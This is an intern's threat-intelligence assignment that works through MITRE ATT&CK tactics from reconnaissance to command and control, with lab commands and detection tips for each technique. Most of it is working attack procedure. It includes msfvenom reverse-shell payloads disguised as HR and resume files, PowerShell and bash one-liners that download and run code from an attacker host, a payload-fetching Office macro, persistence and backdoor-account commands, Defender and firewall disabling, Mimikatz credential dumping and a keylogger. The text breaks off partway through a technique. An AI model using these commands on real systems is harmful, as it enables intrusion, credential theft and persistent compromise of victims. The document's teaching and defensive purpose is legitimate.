Threat Intelligence Task

Name:Samiksha Patil.

Intern ID:280

Tactic 1: Reconnaissance

Technique 1: Collect Target Identity Information

Technique ID: T1589

Goal:
Harvest publicly available personal and organizational details (emails, usernames, LinkedIn profiles) to use in future social engineering or intrusion campaigns.

Objective:
Compile a database of target employees and contact details for phishing or credential-based attacks.

Lab Setup:

- **Attacker System:** BlackArch Linux
- **Tools:** Recon-ng, Hunter API, curl
- **Target:** demo-corp.net

Procedure 1 – Recon-ng Enumeration

1. Open Recon-ng framework:
2. recon-ng
3. Load the “contacts” module and set the target domain:
4. use recon/domains-contacts/hunterio
5. set SOURCE demo-corp.net
6. run
7. Export discovered email addresses and related info.

Procedure 2 – Hunter API with Curl

1. Obtain API key from Hunter dashboard.
2. Run API request:
3. curl "https://api.hunter.io/v2/domain-search?domain=demo-corp.net&api_key=<API_KEY>" | jq '.data.emails[].value' > contacts.txt
4. Save results for later use.

Outcome:
List of employee names and email IDs suitable for spear-phishing or credential attacks.

Detection Recommendations:

- Track excessive queries to employee-related pages.
- Limit exposure of staff contact details online.
- Use email aliasing for public profiles.

Mapping:

Tactic	Technique	ID	Tools	Objective
Reconnaissance	Collect Target Identity Info	T1589	Recon-ng, Hunter API	Gather employee identity information

Technique 2: Discover Public Web Assets

Technique ID: T1593

Goal:
Identify organizational domains, subdomains, and associated services to build a web asset inventory.

Objective:
Find live infrastructure and potential weak points.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Tools:** Amass, httpx
- **Target:** demo-corp.net

Procedure 1 – Subdomain Discovery with Amass

```
amass enum -d demo-corp.net -o subdomains.txt
```

Procedure 2 – Validate Active Hosts with httpx

```
cat subdomains.txt | httpx -status-code -tech-detect -title
```

Outcome:
A validated list of live domains and their technologies.

Detection Recommendations:

- Use DNS monitoring for large query volumes.
- Deploy a WAF with bot protection.
- Maintain updated internal asset inventory.

Mapping:

Tactic	Technique	ID	Tools	Objective
Reconnaissance	Discover Web Assets	T1593	Amass, httpx	Map organizational online assets

Technique 3: Search in Open Databases

Technique ID: T1596

Goal:
Collect information about exposed services, ports, and versions from open-source intelligence databases.

Objective:
Identify weak or outdated services.

Lab Setup:

- **Attacker Machine:** Ubuntu + Docker
- **Tools:** Shodan CLI, Nmap
- **Target:** demo-corp.net servers

Procedure 1 – Query Shodan

```
shodan search "hostname:demo-corp.net" --fields ip_str,port,org,product --limit 100 > shodan_output.csv
```

Procedure 2 – Confirm Findings with Nmap

```
nmap -sV demo-corp.net
```

Outcome:
Detailed mapping of exposed services and their versions.

Detection Recommendations:

- Hide software version banners.
- Monitor unusual port-scanning activity.
- Regularly patch exposed services.

Mapping:

Tactic	Technique	ID	Tools	Objective
Reconnaissance	Search in Open Databases	T1596	Shodan, Nmap	Identify vulnerable services

---

Tactic 2: Resource Development

Technique 1: Build Infrastructure

Technique ID: T1583

Goal:
Set up attacker-controlled systems (servers, domains, or VPS) to support malicious operations like phishing or malware hosting.

Objective:
Establish online resources that mimic legitimate infrastructure.

Lab Setup:

- **Attacker System:** Debian Server

- **Cloud Provider:** Azure / Vultr
- **Tools:** az CLI, Apache2, SSH

Procedure 1 – Provision Cloud Instance

```
az vm create --resource-group attackerRG --name attackerVM --image Ubuntu2204 --generate-ssh-keys
```

Procedure 2 – Register Domain

1. Buy domain from registrar (e.g., Namecheap).
2. Configure DNS A record pointing to attacker VM’s IP.
3. Deploy a simple webpage using Apache2 to make the site appear normal.

Outcome:
A functional attacker-controlled server and domain ready for phishing/C2.

Detection Recommendations:

- Monitor for look-alike domains.
- Use threat intel feeds to detect suspicious DNS registrations.

Mapping:

Tactic	Technique	ID	Tools	Objective
Resource Development	Build Infrastructure	T1583	az CLI, Apache	Deploy attacker infrastructure

---

Technique 2: Steal or Abuse Accounts

Technique ID: T1586

Goal:
Gain access to real accounts (corporate, cloud, or social media) to use for malicious operations.

Objective:
Exploit legitimate credentials to avoid suspicion.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Tools:** Medusa, Curl, Token Grabbers

Procedure 1 – Credential Stuffing on Web Login

```
medusa -h target-site.com -U usernames.txt -P pwds.txt -M http
```

Procedure 2 – Use Leaked Cloud Keys

```
aws sts get-caller-identity --profile compromised

aws s3 ls --profile compromised
```

Outcome:
Access to valid accounts which can be leveraged for spam, hosting, or lateral movement.

Detection Recommendations:

- Enforce strong MFA.
- Block login attempts from unusual geolocations.

Mapping:

Tactic	Technique	ID	Tools	Objective
Resource Development	Steal/Abuse Accounts	T1586	Medusa, AWS CLI	Use real accounts for operations

---

Technique 3: Acquire Tools & Exploits

Technique ID: T1587

Goal:
Download malware, offensive frameworks, or exploits before starting attacks.

Objective:
Prepare an arsenal of working attack tools.

Lab Setup:

- **Attacker System:** Parrot OS
- **Tools:** GitHub, ExploitDB, Metasploit Framework

Procedure 1 – Clone Exploit Tools from GitHub

```
git clone https://github.com/rapid7/metasploit-framework.git
```

Procedure 2 – Search Exploits in ExploitDB

```
searchsploit mysql

searchsploit -m 45015
```

Outcome:
A toolkit of exploits and offensive utilities ready for attack stages.

Detection Recommendations:

- Restrict downloading of known exploit tools.
- Monitor traffic to suspicious GitHub repos.

Mapping:

Tactic	Technique	ID	Tools	Objective
Resource Development	Acquire Tools	T1587	ExploitDB, GitHub	Collect tools/exploits for attack

---

Tactic 3: Initial Access

Technique 1: Phishing

Technique ID: T1566

Goal:
Deliver malicious content (links or attachments) to trick a user into providing credentials or executing malware.

Objective:
Establish the attacker's first entry point into the target network.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Tools:** Gophish, msfvenom, SMTP service
- **Target:** Victim email account (lab environment)

Procedure 1 – Create Malicious Attachment

1. Generate payload with msfvenom:
2. msfvenom -p windows/meterpreter/reverse_https LHOST=<IP> LPORT=443 -f exe > salary-update.exe
3. Attach to a phishing email via Gophish campaign.
4. Send email disguised as HR notification.

Procedure 2 – Phishing with Fake Login Page

1. Use Gophish to set up a campaign.
2. Clone target login portal (e.g., Office 365).
3. Send crafted email redirecting users to the fake portal.

Outcome:
Victims either execute the payload or submit their credentials.

Detection Recommendations:

- Apply email filtering for suspicious links/attachments.
- Conduct phishing simulation training.
- Block access to known phishing domains.

Mapping:

Tactic	Technique ID	Tools	Objective
Initial Access	Phishing T1566	Gophish, msfvenom	Trick users into executing or revealing info

---

Technique 2: Exploit Public Applications

Technique ID: T1190

Goal:
Break into systems by exploiting vulnerabilities in publicly accessible apps or web servers.

Objective:
Compromise internet-facing services to gain a foothold.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Tools:** Nikto, Nmap, sqlmap
- **Target:** DVWA / vulnerable web app

Procedure 1 – Scan for Vulnerabilities

```
nmap -sV -p- vulnerable-site.com
```

```
nikto -h vulnerable-site.com
```

Procedure 2 – SQL Injection Exploit

```
sqlmap -u "http://vulnerable-site.com/products.php?id=2" --dump
```

Outcome:
Access to backend database or admin credentials through exploited flaws.

Detection Recommendations:

- Keep public-facing apps updated.
- Use WAF rules to block exploit attempts.
- Monitor unusual request patterns in logs.

Mapping:

Tactic	Technique	ID	Tools	Objective
Initial Access	Exploit Public Applications	T1190	Nikto, sqlmap	Compromise exposed applications

---

Technique 3: Valid Accounts

Technique ID: T1078

Goal:
Use stolen or guessed credentials to log in to systems without triggering exploit detection.

Objective:
Gain legitimate access to target machines or services.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** SSH, RDP (xfreerdp), CrackMapExec
- **Target:** Linux/Windows hosts

Procedure 1 – SSH Access

```
ssh compromised-user@target-server
```

Procedure 2 – RDP Access to Windows

```
xfreerdp /u:comp-user /p:Password123 /v:target-ip
```

Outcome:
Attacker successfully enters systems as a valid user.

Detection Recommendations:

- Enforce MFA for all accounts.
- Monitor for unusual login times/IPs.
- Reset compromised accounts quickly.

Mapping:

Tactic	Technique	ID	Tools	Objective
Initial Access	Valid Accounts	T1078	SSH, xfreerdp, CME	Use stolen credentials for access

---

Tactic 4: Execution

Technique 1: Command and Script Interpreter

Technique ID: T1059

Goal:
Run malicious commands or scripts on a target system using built-in interpreters.

Objective:
Gain control over the system through native command execution.

Lab Setup:

- **Attacker System:** Kali Linux
- **Target Machines:** Windows 11 VM, Ubuntu Server
- **Tools:** PowerShell, Bash, Python

Procedure 1 – PowerShell on Windows

```
Get-Service

IEX(New-Object Net.WebClient).DownloadString('http://attacker-ip/payload.ps1')
```

Runs a malicious PowerShell script from the attacker’s server.

Procedure 2 – Bash on Linux

```
uname -r

curl -s http://attacker-ip/malware.sh | bash
```

Outcome:
Arbitrary code is executed on victim machines.

Detection Recommendations:

- Restrict PowerShell/Bash execution policies.
- Monitor for suspicious command-line activity.
- Use endpoint protection with script monitoring.

Mapping:

Tactic	**Technique**	**ID**	**Tools**	**Objective**
Execution	Command & Script Interpreter	T1059	PowerShell, Bash	Execute commands remotely

---

Technique 2: Scheduled Task/Job

Technique ID: T1053

Goal:
Run malicious code at specific times or during system events.

Objective:
Automate persistence or timed execution.

Lab Setup:

- **Attacker Machine:** Parrot OS
- **Target Machines:** Windows & Linux
- **Tools:** schtasks, cron

Procedure 1 – Windows Task Scheduler

```
schtasks /create /sc minute /mo 5 /tn "Updater" /tr "C:\\malware.ps1"
```

Procedure 2 – Linux Cron Job

```
crontab -e
```

```
*/10 * * * * /bin/bash /tmp/malware.sh
```

Outcome:
Payloads are executed automatically without user interaction.

Detection Recommendations:

- Monitor for newly created scheduled jobs.
- Audit Task Scheduler and cron entries regularly.
- Alert on execution of unverified scripts.

Mapping:

Tactic	**Technique**	**ID**	**Tools**	**Objective**
Execution	Scheduled Task/Job	T1053	schtasks, cron	Automate malicious execution

---

Technique 3: User Execution

Technique ID: T1204

Goal:
Convince a victim to manually run a malicious file.

Objective:
Leverage social engineering to bypass technical controls.

Lab Setup:

- **Attacker System:** Kali Linux
- **Tools:** msfvenom, Macro-enabled Office docs
- **Target:** Windows user workstation

Procedure 1 – Malicious Executable

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe > resume_update.exe
```

Disguise file as a PDF or installer and deliver via email.

Procedure 2 – Office Macro Document

1. Open Word → Insert Macro.
2. Add VBA code to download payload:
3. Sub AutoOpen()
4.   Shell "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker-ip/m.ps1')"
5. End Sub
6. Send as ProjectPlan2025.docm.

Outcome:
The victim unknowingly runs the attacker's payload.

Detection Recommendations:

- Disable macros in Office apps.
- Warn users before running downloaded files.
- Deploy endpoint monitoring for suspicious file activity.

Mapping:

Tactic	Technique	ID	Tools	Objective
Execution	User Execution	T1204	msfvenom, VBA	Trick user into running malicious file

Tactic 5: Persistence

Technique 1: Create or Modify System Process

Technique ID: T1543

Goal:
Maintain long-term access by configuring malicious processes or services.

Objective:
Ensure the payload executes automatically with system-level privileges.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Target Machines:** Windows & Linux
- **Tools:** sc.exe, systemd

Procedure 1 – Malicious Windows Service

```
sc create SysUpdate binPath= "C:\\Windows\\Temp\\backdoor.exe" start= auto

sc start SysUpdate
```

Procedure 2 – Malicious Linux Service

```
echo "[Unit]

Description=Updater Service

[Service]

ExecStart=/usr/local/bin/backdoor.sh

Restart=always

[Install]

WantedBy=multi-user.target" > /etc/systemd/system/sysupdate.service


systemctl enable sysupdate

systemctl start sysupdate
```

Outcome:
Attacker code runs automatically as a legitimate service.

Detection Recommendations:

- Audit for unusual service names.
- Monitor new entries in systemd/Windows services.

Mapping:

Tactic	Technique	ID	Tools	Objective
Persistence	Create/Modify System Process	T1543	sc, systemd	Maintain access using services

Technique 2: Boot or Logon Autostart Execution

Technique ID: T1547

Goal:
Run malicious code during system boot or user logon.

Objective:
Ensure attacker payloads execute persistently at startup.

Lab Setup:

- **Attacker Machine:** Ubuntu
- **Target:** Windows & Linux systems
- **Tools:** reg.exe, .bashrc

Procedure 1 – Windows Registry Key

```
reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Updater /t REG_SZ /d
"C:\\Users\\Public\\malware.exe"
```

Procedure 2 – Linux Bashrc Injection

```
echo "/usr/bin/bash /home/user/.hidden/malware.sh" >> ~/.bashrc
```

Outcome:
Payload executes each time the system boots or user logs in.

Detection Recommendations:

- Monitor registry changes and .bashrc modifications.
- Use EDR to detect unauthorized autostart entries.

Mapping:

Tactic	Technique	ID	Tools	Objective
Persistence	Boot/Logon Autostart Execution	T1547	reg, bashrc	Execute payloads at startup

---

Technique 3: Account Manipulation

Technique ID: T1098

Goal:
Maintain persistence by creating or modifying user accounts.

Objective:
Provide the attacker with valid logins for repeated access.

Lab Setup:

- **Attacker OS:** Parrot OS
- **Target:** Windows & Linux systems
- **Tools:** net user, useradd

Procedure 1 – Create Windows Admin Account

```
net user helpdesk Pass@2025 /add

net localgroup administrators helpdesk /add
```

Procedure 2 – Create Linux Sudo Account

```
sudo useradd attacker

echo 'attacker:Pass@2025' | sudo chpasswd

sudo usermod -aG sudo attacker
```

Outcome:
Attacker gains a persistent account with elevated privileges.

Detection Recommendations:

- Audit for newly created accounts.
- Enforce MFA on all administrator accounts.
- Monitor group membership changes.

Mapping:

Tactic	Technique	ID	Tools	Objective
Persistence	Account Manipulation	T1098	net user, useradd	Keep persistence via new accounts

---

Tactic 6: Privilege Escalation

Technique 1: Exploitation for Privilege Escalation

Technique ID: T1068

Goal:
Gain higher-level permissions by exploiting vulnerabilities in the operating system or applications.

Objective:
Move from standard user rights to administrator/root privileges.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Target OS:** Windows 10, Ubuntu 20.04
- **Tools:** exploit-db, Metasploit Framework

Procedure 1 – Windows Kernel Exploit

```
msfconsole

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

set SESSION 1
```

```
run
```

Procedure 2 – Linux SUID Exploit

```
find / -perm -4000 -type f 2>/dev/null

# Exploit vulnerable binary (example: /usr/bin/vulnprog)

./vulnprog -p /bin/bash
```

Outcome:
Attacker successfully escalates privileges to SYSTEM (Windows) or root (Linux).

Detection Recommendations:

- Patch known kernel and privilege escalation vulnerabilities.
- Monitor for exploitation attempts against SUID binaries.

Mapping:

Tactic	Technique	ID	Tools	Objective
Privilege Escalation	Exploitation for Privilege Escalation	T1068	Metasploit, exploit-db	Gain higher privileges

---

Technique 2: Abuse of Access Token

Technique ID: T1134

Goal:
Leverage or impersonate tokens to access resources as another user.

Objective:
Move laterally or escalate rights without valid credentials.

Lab Setup:

- **Attacker OS:** Windows 11 VM
- **Tools:** Mimikatz, Incognito (Metasploit module)

Procedure 1 – Token Impersonation with Incognito

```
load incognito

list_tokens -u

impersonate_token "DOMAIN\\Administrator"
```

Procedure 2 – Mimikatz Token Duplication

```
privilege::debug

token::list

token::elevate /id:1234
```

Outcome:
Attacker assumes another user’s identity, gaining their level of access.

Detection Recommendations:

- Monitor for abnormal token use.
- Restrict admin accounts from logging onto untrusted hosts.

Mapping:

Tactic	Technique	ID	Tools	Objective
Privilege Escalation	Access Token Abuse	T1134	Mimikatz, Incognito	Steal/impersonate user privileges

---

Technique 3: Process Injection

Technique ID: T1055

Goal:
Inject malicious code into legitimate processes to hide activity and escalate privileges.

Objective:
Bypass security tools and execute with higher permissions.

Lab Setup:

- **Attacker OS:** Windows 10 VM
- **Tools:** Cobalt Strike, Process Hacker

Procedure 1 – DLL Injection

```
inject into explorer.exe with custom DLL payload
```

(Using Cobalt Strike's inject command.)

Procedure 2 – Reflective DLL Injection with Metasploit

```
msfconsole

use exploit/windows/local/reflective_dll_injection

set SESSION 2

run
```

Outcome:
Malicious payload executes inside a trusted process, often evading detection.

Detection Recommendations:

- Use EDR with memory scanning.
- Monitor unusual behavior from legitimate processes.

Mapping:

Tactic	Technique	ID	Tools	Objective
Privilege Escalation	Process Injection	T1055	Cobalt Strike, Metasploit	Execute hidden malicious code

Tactic 7: Defense Evasion

Technique 1: Obfuscated/Encrypted Files or Information

Technique ID: T1027

Goal:
Hide malicious code or data by encrypting, encoding, or obfuscating it to bypass detection systems.

Objective:
Avoid signature-based detection from antivirus and monitoring tools.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Tools:** base64, openssl, Veil Framework

Procedure 1 – Base64 Encoding a Payload

```
cat malware.exe | base64 > payload.b64
```

Attacker delivers encoded payload which is later decoded by a script.

Procedure 2 – Encrypting with OpenSSL

```
openssl enc -aes-256-cbc -in malware.sh -out payload.enc -k SecretKey123
```

Decrypted during execution on victim's machine.

Outcome:
Payload is stored or transferred in hidden form, bypassing simple detection.

Detection Recommendations:

- Use advanced security tools capable of analyzing encoded data.
- Monitor for unusual use of encryption tools on endpoints.

Mapping:

Tactic	Technique	ID	Tools	Objective
Defense Evasion	Obfuscated/Encrypted Files	T1027	base64, openssl, Veil	Hide malicious code/data

Technique 2: Disable Security Tools

Technique ID: T1562

Goal:
Turn off or interfere with security software such as antivirus, EDR, or firewall.

Objective:
Reduce the chance of being detected during operations.

Lab Setup:

- **Attacker OS:** Windows 10
- **Tools:** sc.exe, netsh, PowerShell

Procedure 1 – Stop Windows Defender Services

```
sc stop WinDefend

sc config WinDefend start= disabled
```

Procedure 2 – Disable Firewall

```
netsh advfirewall set allprofiles state off
```

Outcome:
Victim machine no longer has active defenses, making attacks easier.

Detection Recommendations:

- Prevent unauthorized users from disabling AV/EDR.
- Monitor service stop commands and firewall changes.

Mapping:

Tactic	Technique	ID	Tools	Objective
Defense Evasion	Disable Security Tools	T1562	sc.exe, netsh, PowerShell	Evade detection by disabling defenses

---

Technique 3: Masquerading

Technique ID: T1036

Goal:
Disguise malicious files or processes as legitimate ones to avoid suspicion.

Objective:
Blend into normal system activity.

Lab Setup:

- **Attacker OS:** Parrot Security OS
- **Target OS:** Windows 11
- **Tools:** rename, PowerShell, Resource Hacker

Procedure 1 – Rename Malicious Executable

```
rename malware.exe svchost.exe
```

Places the file in C:\\Windows\\System32.

Procedure 2 – Change File Metadata
Using Resource Hacker to modify file details (e.g., version info, company name).

Outcome:
Malware appears as a trusted system process.

Detection Recommendations:

- Monitor unusual processes using trusted names in wrong directories.
- Use digital signature validation for executables.

Mapping:

Tactic	Technique	ID	Tools	Objective
Defense Evasion	Masquerading	T1036	rename, Resource Hacker	Disguise malicious artifacts

---

Tactic 8: Credential Access

Technique 1: Credential Dumping

Technique ID: T1003

Goal:
Extract stored passwords, hashes, or authentication tokens from compromised systems.

Objective:
Obtain login credentials for lateral movement or privilege escalation.

Lab Setup:

- **Attacker OS:** Windows 10 VM
- **Tools:** Mimikatz, LaZagne

Procedure 1 – Dump Credentials with Mimikatz

```
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
```

Procedure 2 – Extract Saved Passwords with LaZagne

```
python3 laZagne.py all
```

Outcome:
Attacker recovers clear-text passwords, NTLM hashes, and stored browser credentials.

Detection Recommendations:

- Disable credential caching where possible.
- Monitor LSASS memory access attempts.
- Deploy Credential Guard on Windows systems.

Mapping:

Tactic	Technique	ID	Tools	Objective
Credential Access	Credential Dumping	T1003	Mimikatz, LaZagne	Extract user credentials

Technique 2: Brute Force

Technique ID: T1110

Goal:
Gain access by repeatedly guessing usernames and passwords.

Objective:
Identify weak credentials for direct system or service access.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Tools:** Hydra, Patator
- **Target:** SSH & RDP services

Procedure 1 – SSH Brute Force with Hydra

```
hydra -l admin -P rockyou.txt ssh://target-ip
```

Procedure 2 – RDP Brute Force with Patator

```
patator rdp_login host=target-ip user=admin password=FILE0 0=rockyou.txt
```

Outcome:
Valid credentials obtained through automated password guessing.

Detection Recommendations:

- Enforce strong password policies.
- Deploy account lockouts after failed attempts.
- Use MFA to make brute force ineffective.

Mapping:

Tactic	Technique	ID	Tools	Objective
Credential Access	Brute Force	T1110	Hydra, Patator	Crack weak user passwords

Technique 3: Keylogging

Technique ID: T1056.001

Goal:
Capture keystrokes to steal user credentials and sensitive information.

Objective:
Record victim activity without detection.

Lab Setup:

- **Attacker OS:** Parrot OS

- **Target:** Windows workstation
- **Tools:** Metasploit keylogger, PyKeylogger

Procedure 1 – Keylogger via Metasploit

```
msfconsole
use post/windows/capture/keylog_recorder
set SESSION 1
run
```

Procedure 2 – Python-based Keylogger

```
from pynput import keyboard
def on_press(key):
   with open("keys.txt", "a") as f:
      f.write(str(key))
listener = keyboard.Listener(on_press=on_press)
listener.start()
```

Outcome:
All keystrokes, including usernames and passwords, are captured and stored.

Detection Recommendations:

- Monitor unusual background processes.
- Use anti-keylogging features in security software.
- Train users to detect suspicious system behavior.

Mapping:

Tactic	Technique	ID	Tools	Objective
Credential Access	Keylogging	T1056.001	Metasploit, PyKeylogger	Record keystrokes to steal creds

---

Tactic 9: Discovery

Technique 1: System Information Discovery

Technique ID: T1082

Goal:
Gather details about the victim system such as OS, hostname, architecture, and hardware.

Objective:
Understand the environment before executing further attacks.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Target OS:** Windows & Linux
- **Tools:** systeminfo, uname, PowerShell

Procedure 1 – Windows System Info

```
systeminfo

hostname

wmic os get Caption,CSDVersion,OSArchitecture,Version
```

Procedure 2 – Linux System Info

```
uname -a

cat /etc/os-release

lscpu
```

Outcome:
Attacker learns system version, kernel details, and hardware information.

Detection Recommendations:

- Monitor for unusual execution of system information commands.
- Use endpoint monitoring tools to detect recon activity.

Mapping:

Tactic	Technique	ID	Tools	Objective
Discovery	System Information Discovery	T1082	systeminfo, uname	Gather system OS and hardware info

---

Technique 2: Network Service Scanning

Technique ID: T1046

Goal:
Identify open ports and running services within the victim network.

Objective:
Locate vulnerable services for lateral movement.

Lab Setup:

- **Attacker OS:** Parrot Security OS
- **Target:** Internal lab subnet
- **Tools:** Nmap, Masscan

Procedure 1 – Nmap Scan

```
nmap -sV -p- 192.168.1.0/24
```

Procedure 2 – Masscan for Speed

```
masscan 192.168.1.0/24 -p1-65535 --rate=1000
```

Outcome:
Attacker obtains a list of active hosts, open ports, and running services.

Detection Recommendations:

- Monitor for port scanning activity.
- Use network IDS/IPS to detect abnormal traffic.

Mapping:

Tactic	Technique	ID	Tools	Objective
Discovery	Network Service Scanning	T1046	Nmap, Masscan	Identify open ports/services

---

Technique 3: File and Directory Discovery

Technique ID: T1083

Goal:
Locate sensitive files, folders, and data on victim machines.

Objective:
Identify high-value data for theft or further exploitation.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target:** Windows & Linux hosts
- **Tools:** dir, PowerShell, find, ls

Procedure 1 – Windows File Enumeration

```
dir C:\\Users\\* /s /b
```

```
powershell -c "Get-ChildItem C:\\ -Recurse -ErrorAction SilentlyContinue"
```

Procedure 2 – Linux File Search

```
find /home -type f -iname "*.pdf"
```

```
ls -lah /etc/
```

Outcome:
Attacker gains knowledge of sensitive files such as configs, documents, and keys.

Detection Recommendations:

- Monitor for large-scale directory traversal.
- Implement least privilege access to sensitive files.

Mapping:

Tactic	Technique	ID	Tools	Objective
Discovery	File & Directory Discovery	T1083	dir, find, ls	Identify valuable local data/files

---

Tactic 10: Lateral Movement

Technique 1: Remote Services (SMB/WinRM/SSH)

Technique ID: T1021

Goal:
Move across systems by logging into remote services using stolen credentials.

Objective:
Expand control within the victim network.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Target:** Windows Server & Linux machines
- **Tools:** CrackMapExec, xfreerdp, SSH

Procedure 1 – Remote SMB with CrackMapExec

```
crackmapexec smb 192.168.1.20 -u admin -p Password123
```

Procedure 2 – Remote SSH Access

```
ssh admin@192.168.1.25
```

Outcome:
Attacker successfully logs into additional machines using valid credentials.

Detection Recommendations:

- Enable MFA for remote logins.
- Monitor authentication logs for unusual IPs.
- Limit administrative accounts with remote access.

Mapping:

Tactic	Technique	ID	Tools	Objective
Lateral Movement	Remote Services	T1021	CME, SSH, xfreerdp	Move across network systems

---

Technique 2: Remote File Copy

Technique ID: T1105

Goal:
Transfer tools and payloads to remote machines to continue attacks.

Objective:
Stage malware for execution on other systems.

Lab Setup:

- **Attacker OS:** Parrot OS
- **Target:** Windows & Linux servers
- **Tools:** scp, smbclient, PowerShell copy

Procedure 1 – File Transfer with SCP

```
scp backdoor.exe admin@192.168.1.25:/tmp/
```

Procedure 2 – PowerShell Remote Copy

```
Copy-Item "C:\\tools\\malware.ps1" -Destination "\\192.168.1.20\\C$\\Windows\\Temp"
```

Outcome:
Payloads and utilities successfully delivered to remote machines.

Detection Recommendations:

- Monitor large or unusual file transfers.
- Restrict SMB and administrative shares.

Mapping:

Tactic	Technique	ID	Tools	Objective
Lateral Movement	Remote File Copy	T1105	scp, smbclient	Transfer tools across systems

---

Technique 3: Pass the Hash

Technique ID: T1550.002

Goal:
Use stolen password hashes instead of plaintext passwords to authenticate.

Objective:
Move laterally without cracking credentials.

Lab Setup:

- **Attacker OS:** Windows 10 & Kali Linux
- **Tools:** Mimikatz, Evil-WinRM

Procedure 1 – Extract NTLM Hash with Mimikatz

```
mimikatz.exe

privilege::debug

sekurlsa::msv
```

Procedure 2 – Authenticate with Evil-WinRM

```
evil-winrm -i 192.168.1.30 -u Administrator -H <NTLM_HASH>
```

Outcome:
Attacker gains remote access using NTLM hashes instead of actual passwords.

Detection Recommendations:

- Use Kerberos instead of NTLM authentication.
- Monitor for abnormal login attempts using hashes.
- Apply credential guard on endpoints.

Mapping:

Tactic	Technique	ID	Tools	Objective
Lateral Movement	Pass the Hash	T1550.002	Mimikatz, Evil-WinRM	Authenticate with stolen hashes

---

Tactic 11: Collection

Technique 1: Screen Capture

Technique ID: T1113

Goal:
Capture screenshots of the victim's desktop to steal sensitive visual information.

Objective:
Gather intelligence such as open emails, financial data, or confidential files.

Lab Setup:

- **Attacker OS:** Kali Linux
- **Target OS:** Windows 10 VM
- **Tools:** Metasploit, PyAutoGUI

Procedure 1 – Metasploit Screenshot Module

```
msfconsole

use post/windows/gather/screenshot

set SESSION 1

run
```

Procedure 2 – Python Script with PyAutoGUI

```
import pyautogui

screenshot = pyautogui.screenshot()

screenshot.save("capture.png")
```

Outcome:
Attacker receives captured screen images from the victim system.

Detection Recommendations:

- Monitor unusual use of screen capture libraries.
- Restrict remote admin tools that allow screenshotting.

Mapping:

Tactic	Technique	ID	Tools	Objective
Collection	Screen Capture	T1113	Metasploit, PyAutoGUI	Steal visual data via screenshots

---

Technique 2: Clipboard Data

Technique ID: T1115

Goal:
Steal sensitive data copied by the user into the clipboard (e.g., passwords, API keys).

Objective:
Gain access to temporary but critical information.

Lab Setup:

- **Attacker OS:** Windows 11 VM
- **Tools:** Metasploit, PowerShell

Procedure 1 – Clipboard Capture via Metasploit

```
msfconsole

use post/windows/gather/clipboard

set SESSION 2

run
```

Procedure 2 – PowerShell Clipboard Extract

```
Get-Clipboard
```

Outcome:
Attacker collects sensitive clipboard contents like copied passwords or notes.

Detection Recommendations:

- Restrict access to clipboard APIs.
- Use endpoint monitoring to detect clipboard polling.

Mapping:

Tactic	Technique	ID	Tools	Objective
Collection	Clipboard Data	T1115	Metasploit, PowerShell	Extract sensitive copied data

---

Technique 3: Data from Local System

Technique ID: T1005

Goal:
Collect files and data stored on local drives of victim machines.

Objective:
Identify and extract valuable documents and configuration files.

Lab Setup:

- **Attacker OS:** Parrot Security OS
- **Target OS:** Linux & Windows systems
- **Tools:** PowerShell, find, cat

Procedure 1 – Windows File Collection

```
Get-ChildItem "C:\\Users\\*\\Documents\\*" -Recurse -ErrorAction SilentlyContinue
```

Procedure 2 – Linux File Collection

```
find /home/* -type f -iname "*.docx" -o -iname "*.pdf"
```

```
cat /etc/passwd
```

Outcome:
Attacker gathers documents, credentials, and system files for later exfiltration.

Detection Recommendations:

- Monitor mass file access on sensitive directories.
- Apply file integrity monitoring tools.

Mapping:

Tactic	Technique	ID	Tools	Objective
Collection	Data from Local System	T1005	PowerShell, find	Steal data stored on local drives

---

Tactic 12: Command and Control (C2)

Technique 1: Application Layer Protocol (HTTPS/DNS)

Technique ID: T1071

Goal:
Use common application protocols like HTTPS or DNS to communicate with attacker-controlled servers.

Objective:
Blend malicious traffic with normal web activity to evade detection.

Lab Setup:

- **Attacker OS:** Kali Linux

- **Target OS:** Windows 10 VM
- **Tools:** Cobalt Strike, dnscat2

Procedure 1 – HTTPS C2 Channel

```
# Cobalt Strike beacon setup

beacon> https-c2
```

Traffic appears as normal HTTPS communication.

Procedure 2 – DNS Tunneling with dnscat2

```
ruby ./dnscat2.rb attacker.com
```

Victim queries DNS for attacker domain which tunnels C2 traffic.

Outcome:
Attacker controls victim machine using covert HTTPS or DNS channels.

Detection Recommendations:

- Inspect encrypted traffic for anomalies.
- Monitor unusual DNS queries to rare domains.

Mapping:

Tactic	Technique	ID	Tools	Objective
Command & Control	Application Layer Protocol	T1071	Cobalt Strike, dnscat2	Hide C2 traffic in normal protocols

---

Technique 2: Web Service (Cloud C2)

Technique ID: T1102

Goal:
Abuse legitimate cloud services (Google Drive, Dropbox, Slack) for C2 communication.

Objective:
Use trusted platforms to bypass firewalls and blend in with normal traffic.

Lab Setup:

- **Attacker OS:** Parrot OS
- **Tools:** Python scripts, cloud APIs

Procedure 1 – Google Drive as C2

```
from pydrive.auth import GoogleAuth

from pydrive.drive import GoogleDrive

# Upload/download commands disguised as files
```

Procedure 2 – Slack API Abuse

- Create a Slack workspace.

- Use API tokens to send commands as messages to compromised machines.

Outcome:
Victim machines communicate with attacker using trusted web platforms.

Detection Recommendations:

- Monitor unusual cloud service activity.
- Restrict external file-sharing services in corporate environments.

Mapping:

Tactic	Technique	ID	Tools	Objective
Command & Control	Web Service	T1102	Google Drive API, Slack API	Abuse cloud for C2 communication

---

Technique 3: Remote Access Software

Technique ID: T1219

Goal:
Install legitimate remote desktop or admin tools (e.g., TeamViewer, AnyDesk) for persistent C2.

Objective:
Hide malicious activity under the cover of trusted remote software.

Lab Setup:

- **Attacker OS:** Windows 11
